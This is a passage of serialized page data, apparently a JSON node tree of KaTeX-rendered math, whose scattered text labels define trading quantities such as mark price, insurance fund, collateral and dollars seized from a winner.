ag":216,"props":2623,"children":2624},{"style":2268},[2625,2629],{"type":25,"tag":216,"props":2626,"children":2628},{"className":2627,"style":2175},[319],[],{"type":25,"tag":216,"props":2630,"children":2632},{"className":2631},[2180,2181,2182,2183],[2633],{"type":25,"tag":216,"props":2634,"children":2636},{"className":2635},[246,2145,2183],[2637],{"type":31,"value":2283},{"type":25,"tag":216,"props":2639,"children":2641},{"className":2640},[408],[2642],{"type":31,"value":411},{"type":25,"tag":216,"props":2644,"children":2646},{"className":2645},[304],[2647],{"type":25,"tag":216,"props":2648,"children":2650},{"className":2649,"style":2203},[309],[2651],{"type":25,"tag":216,"props":2652,"children":2653},{},[],{"type":25,"tag":216,"props":2655,"children":2657},{"style":2656},"top:-0.3652em;",[2658,2662],{"type":25,"tag":216,"props":2659,"children":2661},{"className":2660,"style":2132},[319],[],{"type":25,"tag":216,"props":2663,"children":2665},{"className":2664},[246],[2666],{"type":25,"tag":216,"props":2667,"children":2669},{"className":2668},[246],[2670,2677],{"type":25,"tag":216,"props":2671,"children":2674},{"className":2672,"style":2673},[246,2145],"margin-right:0.08125em;",[2675],{"type":31,"value":2676},"H",{"type":25,"tag":216,"props":2678,"children":2680},{"className":2679},[2153],[2681],{"type":25,"tag":216,"props":2682,"children":2684},{"className":2683},[298,299],[2685,2716],{"type":25,"tag":216,"props":2686,"children":2688},{"className":2687},[304],[2689,2711],{"type":25,"tag":216,"props":2690,"children":2693},{"className":2691,"style":2692},[309],"height:0.3283em;",[2694],{"type":25,"tag":216,"props":2695,"children":2697},{"style":2696},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[2698,2702],{"type":25,"tag":216,"props":2699,"children":2701},{"className":2700,"style":2175},[319],[],{"type":25,"tag":216,"props":2703,"children":2705},{"className":2704},[2180,2181,2182,2183],[2706],{"type":25,"tag":216,"props":2707,"children":2709},{"className":2708,"style":2146},[246,2145,2183],[2710],{"type":31,"value":177},{"type":25,"tag":216,"props":2712,"children":2714},{"className":2713},[408],[2715],{"type":31,"value":411},{"type":25,"tag":216,"props":2717,"children":2719},{"className":2718},[304],[2720],{"type":25,"tag":216,"props":2721,"children":2723},{"className":2722,"style":2203},[309],[2724],{"type":25,"tag":216,"props":2725,"children":2726},{},[],{"type":25,"tag":216,"props":2728,"children":2730},{"style":2729},"top:2.2624em;",[2731,2735],{"type":25,"tag":216,"props":2732,"children":2734},{"className":2733,"style":2132},[319],[],{"type":25,"tag":216,"props":2736,"children":2738},{"className":2737},[246],[2739],{"type":25,"tag":216,"props":2740,"children":2742},{"className":2741},[246],[2743,2750],{"type":25,"tag":216,"props":2744,"children":2747},{"className":2745,"style":2746},[246,2145],"margin-right:0.02778em;",[2748],{"type":31,"value":2749},"D",{"type":25,"tag":216,"props":2751,"children":2753},{"className":2752},[2153],[2754],{"type":25,"tag":216,"props":2755,"children":2757},{"className":2756},[298,299],[2758,2788],{"type":25,"tag":216,"props":2759,"children":2761},{"className":2760},[304],[2762,2783],{"type":25,"tag":216,"props":2763,"children":2765},{"className":2764,"style":2692},[309],[2766],{"type":25,"tag":216,"props":2767,"children":2769},{"style":2768},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[2770,2774],{"type":25,"tag":216,"props":2771,"children":2773},{"className":2772,"style":2175},[319],[],{"type":25,"tag":216,"props":2775,"children":2777},{"className":2776},[2180,2181,2182,2183],[2778],{"type":25,"tag":216,"props":2779,"children":2781},{"className":2780,"style":2146},[246,2145,2183],[2782],{"type":31,"value":177},{"type":25,"tag":216,"props":2784,"children":2786},{"className":2785},[408],[2787],{"type":31,"value":411},{"type":25,"tag":216,"props":2789,"children":2791},{"className":2790},[304],[2792],{"type":25,"tag":216,"props":2793,"children":2795},{"className":2794,"style":2203},[309],[2796],{"type":25,"tag":216,"props":2797,"children":2798},{},[],{"type":25,"tag":216,"props":2800,"children":2802},{"style":2801},"top:4.8901em;",[2803,2807],{"type":25,"tag":216,"props":2804,"children":2806},{"className":2805,"style":2132},[319],[],{"type":25,"tag":216,"props":2808,"children":2810},{"className":2809},[246],[2811],{"type":25,"tag":216,"props":2812,"children":2814},{"className":2813},[246],[2815,2822],{"type":25,"tag":216,"props":2816,"children":2819},{"className":2817,"style":2818},[246,2145],"margin-right:0.10903em;",[2820],{"type":31,"value":2821},"U",{"type":25,"tag":216,"props":2823,"children":2825},{"className":2824},[2153],[2826],{"type":25,"tag":216,"props":2827,"children":2829},{"className":2828},[298,299],[2830,2860],{"type":25,"tag":216,"props":2831,"children":2833},{"className":2832},[304],[2834,2855],{"type":25,"tag":216,"props":2835,"children":2837},{"className":2836,"style":2692},[309],[2838],{"type":25,"tag":216,"props":2839,"children":2841},{"style":2840},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[2842,2846],{"type":25,"tag":216,"props":2843,"children":2845},{"className":2844,"style":2175},[319],[],{"type":25,"tag":216,"props":2847,"children":2849},{"className":2848},[2180,2181,2182,2183],[2850],{"type":25,"tag":216,"props":2851,"children":2853},{"className":2852,"style":2146},[246,2145,2183],[2854],{"type":31,"value":177},{"type":25,"tag":216,"props":2856,"children":2858},{"className":2857},[408],[2859],{"type":31,"value":411},{"type":25,"tag":216,"props":2861,"children":2863},{"className":2862},[304],[2864],{"type":25,"tag":216,"props":2865,"children":2867},{"className":2866,"style":2203},[309],[2868],{"type":25,"tag":216,"props":2869,"children":2870},{},[],{"type":25,"tag":216,"props":2872,"children":2874},{"style":2873},"top:7.3078em;",[2875,2879],{"type":25,"tag":216,"props":2876,"children":2878},{"className":2877,"style":2132},[319],[],{"type":25,"tag":216,"props":2880,"children":2882},{"className":2881},[246],[2883],{"type":25,"tag":216,"props":2884,"children":2886},{"className":2885},[246],[2887,2894],{"type":25,"tag":216,"props":2888,"children":2891},{"className":2889,"style":2890},[246,2145],"margin-right:0.00773em;",[2892],{"type":31,"value":2893},"R",{"type":25,"tag":216,"props":2895,"children":2897},{"className":2896},[2153],[2898],{"type":25,"tag":216,"props":2899,"children":2901},{"className":2900},[298,299],[2902,2934],{"type":25,"tag":216,"props":2903,"children":2905},{"className":2904},[304],[2906,2929],{"type":25,"tag":216,"props":2907,"children":2910},{"className":2908,"style":2909},[309],"height:0.2806em;",[2911],{"type":25,"tag":216,"props":2912,"children":2914},{"style":2913},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[2915,2919],{"type":25,"tag":216,"props":2916,"children":2918},{"className":2917,"style":2175},[319],[],{"type":25,"tag":216,"props":2920,"children":2922},{"className":2921},[2180,2181,2182,2183],[2923],{"type":25,"tag":216,"props":2924,"children":2926},{"className":2925},[246,2145,2183],[2927],{"type":31,"value":2928},"t",{"type":25,"tag":216,"props":2930,"children":2932},{"className":2931},[408],[2933],{"type":31,"value":411},{"type":25,"tag":216,"props":2935,"children":2937},{"className":2936},[304],[2938],{"type":25,"tag":216,"props":2939,"children":2941},{"className":2940,"style":2203},[309],[2942],{"type":25,"tag":216,"props":2943,"children":2944},{},[],{"type":25,"tag":216,"props":2946,"children":2948},{"className":2947},[408],[2949],{"type":31,"value":411},{"type":25,"tag":216,"props":2951,"children":2953},{"className":2952},[304],[2954],{"type":25,"tag":216,"props":2955,"children":2958},{"className":2956,"style":2957},[309],"height:11.3392em;",[2959],{"type":25,"tag":216,"props":2960,"children":2961},{},[],{"type":25,"tag":216,"props":2963,"children":2965},{"className":2964},[1033],[2966],{"type":25,"tag":216,"props":2967,"children":2969},{"className":2968},[298,299],[2970,4678],{"type":25,"tag":216,"props":2971,"children":2973},{"className":2972},[304],[2974,4673],{"type":25,"tag":216,"props":2975,"children":2977},{"className":2976,"style":2123},[309],[2978,3017,3055,3202,3439,3595,3700,3743,3964,4125,4315,4467],{"type":25,"tag":216,"props":2979,"children":2980},{"style":2127},[2981,2985],{"type":25,"tag":216,"props":2982,"children":2984},{"className":2983,"style":2132},[319],[],{"type":25,"tag":216,"props":2986,"children":2988},{"className":2987},[246],[2989,2993,2997,3003,3007],{"type":25,"tag":216,"props":2990,"children":2992},{"className":2991},[246],[],{"type":25,"tag":216,"props":2994,"children":2996},{"className":2995,"style":258},[257],[],{"type":25,"tag":216,"props":2998,"children":3000},{"className":2999},[263],[3001],{"type":31,"value":3002},":=",{"type":25,"tag":216,"props":3004,"children":3006},{"className":3005,"style":258},[257],[],{"type":25,"tag":216,"props":3008,"children":3010},{"className":3009},[246,31],[3011],{"type":25,"tag":216,"props":3012,"children":3014},{"className":3013},[246],[3015],{"type":31,"value":3016},"mark price",{"type":25,"tag":216,"props":3018,"children":3019},{"style":2210},[3020,3024],{"type":25,"tag":216,"props":3021,"children":3023},{"className":3022,"style":2132},[319],[],{"type":25,"tag":216,"props":3025,"children":3027},{"className":3026},[246],[3028,3032,3036,3041,3045],{"type":25,"tag":216,"props":3029,"children":3031},{"className":3030},[246],[],{"type":25,"tag":216,"props":3033,"children":3035},{"className":3034,"style":258},[257],[],{"type":25,"tag":216,"props":3037,"children":3039},{"className":3038},[263],[3040],{"type":31,"value":3002},{"type":25,"tag":216,"props":3042,"children":3044},{"className":3043,"style":258},[257],[],{"type":25,"tag":216,"props":3046,"children":3048},{"className":3047},[246,31],[3049],{"type":25,"tag":216,"props":3050,"children":3052},{"className":3051},[246],[3053],{"type":31,"value":3054},"insurance fund",{"type":25,"tag":216,"props":3056,"children":3057},{"style":2229},[3058,3062],{"type":25,"tag":216,"props":3059,"children":3061},{"className":3060,"style":2132},[319],[],{"type":25,"tag":216,"props":3063,"children":3065},{"className":3064},[246],[3066,3070,3074,3079,3083,3093,3097,3102,3106],{"type":25,"tag":216,"props":3067,"children":3069},{"className":3068},[246],[],{"type":25,"tag":216,"props":3071,"children":3073},{"className":3072,"style":258},[257],[],{"type":25,"tag":216,"props":3075,"children":3077},{"className":3076},[263],[3078],{"type":31,"value":3002},{"type":25,"tag":216,"props":3080,"children":3082},{"className":3081,"style":258},[257],[],{"type":25,"tag":216,"props":3084,"children":3086},{"className":3085},[246,31],[3087],{"type":25,"tag":216,"props":3088,"children":3090},{"className":3089},[246],[3091],{"type":31,"value":3092},"collateral",{"type":25,"tag":216,"props":3094,"children":3096},{"className":3095,"style":258},[257],[],{"type":25,"tag":216,"props":3098,"children":3100},{"className":3099},[263],[3101],{"type":31,"value":266},{"type":25,"tag":216,"props":3103,"children":3105},{"className":3104,"style":258},[257],[],{"type":25,"tag":216,"props":3107,"children":3109},{"className":3108},[246],[3110,3114,3198],{"type":25,"tag":216,"props":3111,"children":3113},{"className":3112},[287,288],[],{"type":25,"tag":216,"props":3115,"children":3117},{"className":3116},[293],[3118],{"type":25,"tag":216,"props":3119,"children":3121},{"className":3120},[298,299],[3122,3187],{"type":25,"tag":216,"props":3123,"children":3125},{"className":3124},[304],[3126,3182],{"type":25,"tag":216,"props":3127,"children":3130},{"className":3128,"style":3129},[309],"height:1.3714em;",[3131,3151,3162],{"type":25,"tag":216,"props":3132,"children":3133},{"style":314},[3134,3138],{"type":25,"tag":216,"props":3135,"children":3137},{"className":3136,"style":320},[319],[],{"type":25,"tag":216,"props":3139,"children":3141},{"className":3140},[246],[3142],{"type":25,"tag":216,"props":3143,"children":3145},{"className":3144},[246,31],[3146],{"type":25,"tag":216,"props":3147,"children":3149},{"className":3148},[246],[3150],{"type":31,"value":357},{"type":25,"tag":216,"props":3152,"children":3153},{"style":360},[3154,3158],{"type":25,"tag":216,"props":3155,"children":3157},{"className":3156,"style":320},[319],[],{"type":25,"tag":216,"props":3159,"children":3161},{"className":3160,"style":370},[369],[],{"type":25,"tag":216,"props":3163,"children":3164},{"style":374},[3165,3169],{"type":25,"tag":216,"props":3166,"children":3168},{"className":3167,"style":320},[319],[],{"type":25,"tag":216,"props":3170,"children":3172},{"className":3171},[246],[3173],{"type":25,"tag":216,"props":3174,"children":3176},{"className":3175},[246,31],[3177],{"type":25,"tag":216,"props":3178,"children":3180},{"className":3179},[246],[3181],{"type":31,"value":399},{"type":25,"tag":216,"props":3183,"children":3185},{"className":3184},[408],[3186],{"type":31,"value":411},{"type":25,"tag":216,"props":3188,"children":3190},{"className":3189},[304],[3191],{"type":25,"tag":216,"props":3192,"children":3194},{"className":3193,"style":419},[309],[3195],{"type":25,"tag":216,"props":3196,"children":3197},{},[],{"type":25,"tag":216,"props":3199,"children":3201},{"className":3200},[427,288],[],{"type":25,"tag":216,"props":3203,"children":3204},{"style":2302},[3205,3209],{"type":25,"tag":216,"props":3206,"children":3208},{"className":3207,"style":2132},[319],[],{"type":25,"tag":216,"props":3210,"children":3212},{"className":3211},[246],[3213,3217,3221,3226,3230,3288,3292,3297,3301,3306,3363,3367,3373,3377,3434],{"type":25,"tag":216,"props":3214,"children":3216},{"className":3215},[246],[],{"type":25,"tag":216,"props":3218,"children":3220},{"className":3219,"style":258},[257],[],{"type":25,"tag":216,"props":3222,"children":3224},{"className":3223},[263],[3225],{"type":31,"value":266},{"type":25,"tag":216,"props":3227,"children":3229},{"className":3228,"style":258},[257],[],{"type":25,"tag":216,"props":3231,"children":3233},{"className":3232},[246],[3234,3240],{"type":25,"tag":216,"props":3235,"children":3237},{"className":3236},[246,2145],[3238],{"type":31,"value":3239},"s",{"type":25,"tag":216,"props":3241,"children":3243},{"className":3242},[2153],[3244],{"type":25,"tag":216,"props":3245,"children":3247},{"className":3246},[298,299],[3248,3277],{"type":25,"tag":216,"props":3249,"children":3251},{"className":3250},[304],[3252,3272],{"type":25,"tag":216,"props":3253,"children":3255},{"className":3254,"style":2264},[309],[3256],{"type":25,"tag":216,"props":3257,"children":3258},{"style":2268},[3259,3263],{"type":25,"tag":216,"props":3260,"children":3262},{"className":3261,"style":2175},[319],[],{"type":25,"tag":216,"props":3264,"children":3266},{"className":3265},[2180,2181,2182,2183],[3267],{"type":25,"tag":216,"props":3268,"children":3270},{"className":3269},[246,2145,2183],[3271],{"type":31,"value":2283},{"type":25,"tag":216,"props":3273,"children":3275},{"className":3274},[408],[3276],{"type":31,"value":411},{"type":25,"tag":216,"props":3278,"children":3280},{"className":3279},[304],[3281],{"type":25,"tag":216,"props":3282,"children":3284},{"className":3283,"style":2203},[309],[3285],{"type":25,"tag":216,"props":3286,"children":3287},{},[],{"type":25,"tag":216,"props":3289,"children":3291},{"className":3290,"style":335},[257],[],{"type":25,"tag":216,"props":3293,"children":3295},{"className":3294},[340],[3296],{"type":31,"value":343},{"type":25,"tag":216,"props":3298,"children":3300},{"className":3299,"style":335},[257],[],{"type":25,"tag":216,"props":3302,"children":3304},{"className":3303},[287],[3305],{"type":31,"value":1844},{"type":25,"tag":216,"props":3307,"children":3309},{"className":3308},[246],[3310,3315],{"type":25,"tag":216,"props":3311,"children":3313},{"className":3312,"style":2146},[246,2145],[3314],{"type":31,"value":2149},{"type":25,"tag":216,"props":3316,"children":3318},{"className":3317},[2153],[3319],{"type":25,"tag":216,"props":3320,"children":3322},{"className":3321},[298,299],[3323,3352],{"type":25,"tag":216,"props":3324,"children":3326},{"className":3325},[304],[3327,3347],{"type":25,"tag":216,"props":3328,"children":3330},{"className":3329,"style":2166},[309],[3331],{"type":25,"tag":216,"props":3332,"children":3333},{"style":2170},[3334,3338],{"type":25,"tag":216,"props":3335,"children":3337},{"className":3336,"style":2175},[319],[],{"type":25,"tag":216,"props":3339,"children":3341},{"className":3340},[2180,2181,2182,2183],[3342],{"type":25,"tag":216,"props":3343,"children":3345},{"className":3344},[246,2145,2183],[3346],{"type":31,"value":2190},{"type":25,"tag":216,"props":3348,"children":3350},{"className":3349},[408],[3351],{"type":31,"value":411},{"type":25,"tag":216,"props":3353,"children":3355},{"className":3354},[304],[3356],{"type":25,"tag":216,"props":3357,"children":3359},{"className":3358,"style":2203},[309],[3360],{"type":25,"tag":216,"props":3361,"children":3362},{},[],{"type":25,"tag":216,"props":3364,"children":3366},{"className":3365,"style":335},[257],[],{"type":25,"tag":216,"props":3368,"children":3370},{"className":3369},[340],[3371],{"type":31,"value":3372},"−",{"type":25,"tag":216,"props":3374,"children":3376},{"className":3375,"style":335},[257],[],{"type":25,"tag":216,"props":3378,"children":3380},{"className":3379},[246],[3381,3386],{"type":25,"tag":216,"props":3382,"children":3384},{"className":3383},[246,2145],[3385],{"type":31,"value":38},{"type":25,"tag":216,"props":3387,"children":3389},{"className":3388},[2153],[3390],{"type":25,"tag":216,"props":3391,"children":3393},{"className":3392},[298,299],[3394,3423],{"type":25,"tag":216,"props":3395,"children":3397},{"className":3396},[304],[3398,3418],{"type":25,"tag":216,"props":3399,"children":3401},{"className":3400,"style":2264},[309],[3402],{"type":25,"tag":216,"props":3403,"children":3404},{"style":2268},[3405,3409],{"type":25,"tag":216,"props":3406,"children":3408},{"className":3407,"style":2175},[319],[],{"type":25,"tag":216,"props":3410,"children":3412},{"className":3411},[2180,2181,2182,2183],[3413],{"type":25,"tag":216,"props":3414,"children":3416},{"className":3415},[246,2145,2183],[3417],{"type":31,"value":2283},{"type":25,"tag":216,"props":3419,"children":3421},{"className":3420},[408],[3422],{"type":31,"value":411},{"type":25,"tag":216,"props":3424,"children":3426},{"className":3425},[304],[3427],{"type":25,"tag":216,"props":3428,"children":3430},{"className":3429,"style":2203},[309],[3431],{"type":25,"tag":216,"props":3432,"children":3433},{},[],{"type":25,"tag":216,"props":3435,"children":3437},{"className":3436},[427],[3438],{"type":31,"value":1882},{"type":25,"tag":216,"props":3440,"children":3441},{"style":2374},[3442,3446],{"type":25,"tag":216,"props":3443,"children":3445},{"className":3444,"style":2132},[319],[],{"type":25,"tag":216,"props":3447,"children":3449},{"className":3448},[246],[3450,3454,3458,3463,3467,3524,3528,3534,3538],{"type":25,"tag":216,"props":3451,"children":3453},{"className":3452},[246],[],{"type":25,"tag":216,"props":3455,"children":3457},{"className":3456,"style":258},[257],[],{"type":25,"tag":216,"props":3459,"children":3461},{"className":3460},[263],[3462],{"type":31,"value":266},{"type":25,"tag":216,"props":3464,"children":3466},{"className":3465,"style":258},[257],[],{"type":25,"tag":216,"props":3468,"children":3470},{"className":3469},[246],[3471,3476],{"type":25,"tag":216,"props":3472,"children":3474},{"className":3473},[246,2145],[3475],{"type":31,"value":2248},{"type":25,"tag":216,"props":3477,"children":3479},{"className":3478},[2153],[3480],{"type":25,"tag":216,"props":3481,"children":3483},{"className":3482},[298,299],[3484,3513],{"type":25,"tag":216,"props":3485,"children":3487},{"className":3486},[304],[3488,3508],{"type":25,"tag":216,"props":3489,"children":3491},{"className":3490,"style":2264},[309],[3492],{"type":25,"tag":216,"props":3493,"children":3494},{"style":2268},[3495,3499],{"type":25,"tag":216,"props":3496,"children":3498},{"className":3497,"style":2175},[319],[],{"type":25,"tag":216,"props":3500,"children":3502},{"className":3501},[2180,2181,2182,2183],[3503],{"type":25,"tag":216,"props":3504,"children":3506},{"className":3505},[246,2145,2183],[3507],{"type":31,"value":2283},{"type":25,"tag":216,"props":3509,"children":3511},{"className":3510},[408],[3512],{"type":31,"value":411},{"type":25,"tag":216,"props":3514,"children":3516},{"className":3515},[304],[3517],{"type":25,"tag":216,"props":3518,"children":3520},{"className":3519,"style":2203},[309],[3521],{"type":25,"tag":216,"props":3522,"children":3523},{},[],{"type":25,"tag":216,"props":3525,"children":3527},{"className":3526,"style":335},[257],[],{"type":25,"tag":216,"props":3529,"children":3531},{"className":3530},[340],[3532],{"type":31,"value":3533},"+",{"type":25,"tag":216,"props":3535,"children":3537},{"className":3536,"style":335},[257],[],{"type":25,"tag":216,"props":3539,"children":3541},{"className":3540},[246],[3542,3547],{"type":25,"tag":216,"props":3543,"children":3545},{"className":3544,"style":2319},[246,2145],[3546],{"type":31,"value":2322},{"type":25,"tag":216,"props":3548,"children":3550},{"className":3549},[2153],[3551],{"type":25,"tag":216,"props":3552,"children":3554},{"className":3553},[298,299],[3555,3584],{"type":25,"tag":216,"props":3556,"children":3558},{"className":3557},[304],[3559,3579],{"type":25,"tag":216,"props":3560,"children":3562},{"className":3561,"style":2264},[309],[3563],{"type":25,"tag":216,"props":3564,"children":3565},{"style":2341},[3566,3570],{"type":25,"tag":216,"props":3567,"children":3569},{"className":3568,"style":2175},[319],[],{"type":25,"tag":216,"props":3571,"children":3573},{"className":3572},[2180,2181,2182,2183],[3574],{"type":25,"tag":216,"props":3575,"children":3577},{"className":3576},[246,2145,2183],[3578],{"type":31,"value":2283},{"type":25,"tag":216,"props":3580,"children":3582},{"className":3581},[408],[3583],{"type":31,"value":411},{"type":25,"tag":216,"props":3585,"children":3587},{"className":3586},[304],[3588],{"type":25,"tag":216,"props":3589,"children":3591},{"className":3590,"style":2203},[309],[3592],{"type":25,"tag":216,"props":3593,"children":3594},{},[],{"type":25,"tag":216,"props":3596,"children":3597},{"style":2444},[3598,3602],{"type":25,"tag":216,"props":3599,"children":3601},{"className":3600,"style":2132},[319],[],{"type":25,"tag":216,"props":3603,"children":3605},{"className":3604},[246],[3606,3610,3614,3619,3623],{"type":25,"tag":216,"props":3607,"children":3609},{"className":3608},[246],[],{"type":25,"tag":216,"props":3611,"children":3613},{"className":3612,"style":258},[257],[],{"type":25,"tag":216,"props":3615,"children":3617},{"className":3616},[263],[3618],{"type":31,"value":266},{"type":25,"tag":216,"props":3620,"children":3622},{"className":3621,"style":258},[257],[],{"type":25,"tag":216,"props":3624,"children":3626},{"className":3625},[246],[3627,3632],{"type":25,"tag":216,"props":3628,"children":3630},{"className":3629,"style":2319},[246,2145],[3631],{"type":31,"value":2322},{"type":25,"tag":216,"props":3633,"children":3635},{"className":3634},[2153],[3636],{"type":25,"tag":216,"props":3637,"children":3639},{"className":3638},[298,299],[3640,3688],{"type":25,"tag":216,"props":3641,"children":3643},{"className":3642},[304],[3644,3683],{"type":25,"tag":216,"props":3645,"children":3648},{"className":3646,"style":3647},[309],"height:0.8213em;",[3649,3666],{"type":25,"tag":216,"props":3650,"children":3652},{"style":3651},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[3653,3657],{"type":25,"tag":216,"props":3654,"children":3656},{"className":3655,"style":2175},[319],[],{"type":25,"tag":216,"props":3658,"children":3660},{"className":3659},[2180,2181,2182,2183],[3661],{"type":25,"tag":216,"props":3662,"children":3664},{"className":3663},[246,2145,2183],[3665],{"type":31,"value":2283},{"type":25,"tag":216,"props":3667,"children":3669},{"style":3668},"top:-3.113em;margin-right:0.05em;",[3670,3674],{"type":25,"tag":216,"props":3671,"children":3673},{"className":3672,"style":2175},[319],[],{"type":25,"tag":216,"props":3675,"children":3677},{"className":3676},[2180,2181,2182,2183],[3678],{"type":25,"tag":216,"props":3679,"children":3681},{"className":3680},[340,2183],[3682],{"type":31,"value":3533},{"type":25,"tag":216,"props":3684,"children":3686},{"className":3685},[408],[3687],{"type":31,"value":411},{"type":25,"tag":216,"props":3689,"children":3691},{"className":3690},[304],[3692],{"type":25,"tag":216,"props":3693,"children":3696},{"className":3694,"style":3695},[309],"height:0.267em;",[3697],{"type":25,"tag":216,"props":3698,"children":3699},{},[],{"type":25,"tag":216,"props":3701,"children":3702},{"style":2516},[3703,3707],{"type":25,"tag":216,"props":3704,"children":3706},{"className":3705,"style":2132},[319],[],{"type":25,"tag":216,"props":3708,"children":3710},{"className":3709},[246],[3711,3715,3719,3724,3728,3738],{"type":25,"tag":216,"props":3712,"children":3714},{"className":3713},[246],[],{"type":25,"tag":216,"props":3716,"children":3718},{"className":3717,"style":258},[257],[],{"type":25,"tag":216,"props":3720,"children":3722},{"className":3721},[263],[3723],{"type":31,"value":3002},{"type":25,"tag":216,"props":3725,"children":3727},{"className":3726,"style":258},[257],[],{"type":25,"tag":216,"props":3729,"children":3731},{"className":3730},[246,31],[3732],{"type":25,"tag":216,"props":3733,"children":3735},{"className":3734},[246],[3736],{"type":31,"value":3737},"dollars seized from winner ",{"type":25,"tag":216,"props":3739,"children":3741},{"className":3740},[246,2145],[3742],{"type":31,"value":2283},{"type":25,"tag":216,"props":3744,"children":3745},{"style":2586},[3746,3750],{"type":25,"tag":216,"props":3747,"children":3749},{"className":3748,"style":2132},[319],[],{"type":25,"tag":216,"props":3751,"children":3753},{"className":3752},[246],[3754,3758,3762,3767,3771],{"type":25,"tag":216,"props":3755,"children":3757},{"className":3756},[246],[],{"type":25,"tag":216,"props":3759,"children":3761},{"className":3760,"style":258},[257],[],{"type":25,"tag":216,"props":3763,"children":3765},{"className":3764},[263],[3766],{"type":31,"value":266},{"type":25,"tag":216,"props":3768,"children":3770},{"className":3769,"style":258},[257],[],{"type":25,"tag":216,"props":3772,"children":3774},{"className":3773},[246],[3775,3779,3960],{"type":25,"tag":216,"props":3776,"children":3778},{"className":3777},[287,288],[],{"type":25,"tag":216,"props":3780,"children":3782},{"className":3781},[293],[3783],{"type":25,"tag":216,"props":3784,"children":3786},{"className":3785},[298,299],[3787,3948],{"type":25,"tag":216,"props":3788,"children":3790},{"className":3789},[304],[3791,3943],{"type":25,"tag":216,"props":3792,"children":3795},{"className":3793,"style":3794},[309],"height:1.1076em;",[3796,3864,3875],{"type":25,"tag":216,"props":3797,"children":3798},{"style":314},[3799,3803],{"type":25,"tag":216,"props":3800,"children":3802},{"className":3801,"style":320},[319],[],{"type":25,"tag":216,"props":3804,"children":3806},{"className":3805},[246],[3807],{"type":25,"tag":216,"props":3808,"children":3810},{"className":3809},[246],[3811,3816],{"type":25,"tag":216,"props":3812,"children":3814},{"className":3813,"style":2461},[246,2145],[3815],{"type":31,"value":2464},{"type":25,"tag":216,"props":3817,"children":3819},{"className":3818},[2153],[3820],{"type":25,"tag":216,"props":3821,"children":3823},{"className":3822},[298,299],[3824,3853],{"type":25,"tag":216,"props":3825,"children":3827},{"className":3826},[304],[3828,3848],{"type":25,"tag":216,"props":3829,"children":3831},{"className":3830,"style":2264},[309],[3832],{"type":25,"tag":216,"props":3833,"children":3834},{"style":2483},[3835,3839],{"type":25,"tag":216,"props":3836,"children":3838},{"className":3837,"style":2175},[319],[],{"type":25,"tag":216,"props":3840,"children":3842},{"className":3841},[2180,2181,2182,2183],[3843],{"type":25,"tag":216,"props":3844,"children":3846},{"className":3845},[246,2145,2183],[3847],{"type":31,"value":2283},{"type":25,"tag":216,"props":3849,"children":3851},{"className":3850},[408],[3852],{"type":31,"value":411},{"type":25,"tag":216,"props":3854,"children":3856},{"className":3855},[304],[3857],{"type":25,"tag":216,"props":3858,"children":3860},{"className":3859,"style":2203},[309],[3861],{"type":25,"tag":216,"props":3862,"children":3863},{},[],{"type":25,"tag":216,"props":3865,"children":3866},{"style":360},[3867,3871],{"type":25,"tag":216,"props":3868,"children":3870},{"className":3869,"style":320},[319],[],{"type":25,"tag":216,"props":3872,"children":3874},{"className":3873,"style":370},[369],[],{"type":25,"tag":216,"props":3876,"children":3877},{"style":374},[3878,3882],{"type":25,"tag":216,"props":3879,"children":3881},{"className":3880,"style":320},[319],[],{"type":25,"tag":216,"props":3883,"children":3885},{"className":3884},[246],[3886],{"type":25,"tag":216,"props":3887,"children":3889},{"className":3888},[246],[3890,3895],{"type":25,"tag":216,"props":3891,"children":3893},{"className":3892},[246,2145],[3894],{"type":31,"value":2535},{"type":25,"tag":216,"props":3896,"children":3898},{"className":3897},[2153],[3899],{"type":25,"tag":216,"props":3900,"children":3902},{"className":3901},[298,299],[3903,3932],{"type":25,"tag":216,"props":3904,"children":3906},{"className":3905},[304],[3907,3927],{"type":25,"tag":216,"props":3908,"children":3910},{"className":3909,"style":2264},[309],[3911],{"type":25,"tag":216,"props":3912,"children":3913},{"style":2268},[3914,3918],{"type":25,"tag":216,"props":3915,"children":3917},{"className":3916,"style":2175},[319],[],{"type":25,"tag":216,"props":3919,"children":3921},{"className":3920},[2180,2181,2182,2183],[3922],{"type":25,"tag":216,"props":3923,"children":3925},{"className":3924},[246,2145,2183],[3926],{"type":31,"value":2283},{"type":25,"tag":216,"props":3928,"children":3930},{"className":3929},[408],[3931],{"type":31,"value":411},{"type":25,"tag":216,"props":3933,"children":3935},{"className":3934},[304],[3936],{"type":25,"tag":216,"props":3937,"children":3939},{"className":3938,"style":2203},[309],[3940],{"type":25,"tag":216,"props":3941,"children":3942},{},[],{"type":25,"tag":216,"props":3944,"children":3946},{"className":3945},[408],[3947],{"type":31,"value":411},{"type":25,"tag":216,"props":3949,"children":3951},{"className":3950},[304],[3952],{"type":25,"tag":216,"props":3953,"children":3956},{"className":3954,"style":3955},[309],"height:0.836em;",[3957],{"type":25,"tag":216,"props":3958,"children":3959},{},[],{"type":25,"tag":216,"props":3961,"children":3963},{"className":3962},[427,288],[],{"type":25,"tag":216,"props":3965,"children":3966},{"style":2656},[3967,3971],{"type":25,"tag":216,"props":3968,"children":3970},{"className":3969,"style":2132},[319],[],{"type":25,"tag":216,"props":3972,"children":3974},{"className":3973},[246],[3975,3979,3983,3988,3992,4064,4068],{"type":25,"tag":216,"props":3976,"children":3978},{"className":3977},[246],[],{"type":25,"tag":216,"props":3980,"children":3982},{"className":3981,"style":258},[257],[],{"type":25,"tag":216,"props":3984,"children":3986},{"className":3985},[263],[3987],{"type":31,"value":266},{"type":25,"tag":216,"props":3989,"children":3991},{"className":3990,"style":258},[257],[],{"type":25,"tag":216,"props":3993,"children":3996},{"className":3994},[1835,3995],"op-limits",[3997],{"type":25,"tag":216,"props":3998,"children":4000},{"className":3999},[298,299],[4001,4052],{"type":25,"tag":216,"props":4002,"children":4004},{"className":4003},[304],[4005,4047],{"type":25,"tag":216,"props":4006,"children":4009},{"className":4007,"style":4008},[309],"height:1.05em;",[4010,4028],{"type":25,"tag":216,"props":4011,"children":4013},{"style":4012},"top:-1.8723em;margin-left:0em;",[4014,4019],{"type":25,"tag":216,"props":4015,"children":4018},{"className":4016,"style":4017},[319],"height:3.05em;",[],{"type":25,"tag":216,"props":4020,"children":4022},{"className":4021},[2180,2181,2182,2183],[4023],{"type":25,"tag":216,"props":4024,"children":4026},{"className":4025